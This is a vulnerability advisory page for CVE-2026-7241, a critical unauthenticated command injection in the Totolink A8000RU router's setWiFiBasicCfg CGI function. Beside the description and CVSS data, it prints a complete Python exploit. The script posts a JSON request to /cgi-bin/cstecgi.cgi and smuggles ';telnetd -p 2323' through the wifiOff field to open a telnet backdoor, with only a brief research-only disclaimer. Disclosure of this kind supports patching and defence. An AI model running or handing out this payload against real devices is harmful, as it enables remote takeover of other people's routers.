Security Vulnerability Report
中文
CVE-2026-7241 CVSS 9.8 CRITICAL

CVE-2026-7241

Published: 2026-04-28 09:16:17
Last Modified: 2026-04-28 20:24:20

Description

A vulnerability was found in Totolink A8000RU 7.1cu.643_b20200521. This issue affects the function setWiFiBasicCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. Performing a manipulation of the argument wifiOff results in os command injection. The attack is possible to be carried out remotely. The exploit has been made public and could be used.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Totolink A8000RU 7.1cu.643_b20200521

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Replace with actual IP) target_url = "http://192.168.1.1/cgi-bin/cstecgi.cgi" # Headers indicating JSON content headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Payload data # Injecting a command to start a telnet service or ping a test server data = { "topicurl": "setWiFiBasicCfg", # The semicolon (;) is used to chain commands in shell "wifiOff": ";telnetd -p 2323" } try: # Sending the POST request response = requests.post(target_url, json=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check if telnet started on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
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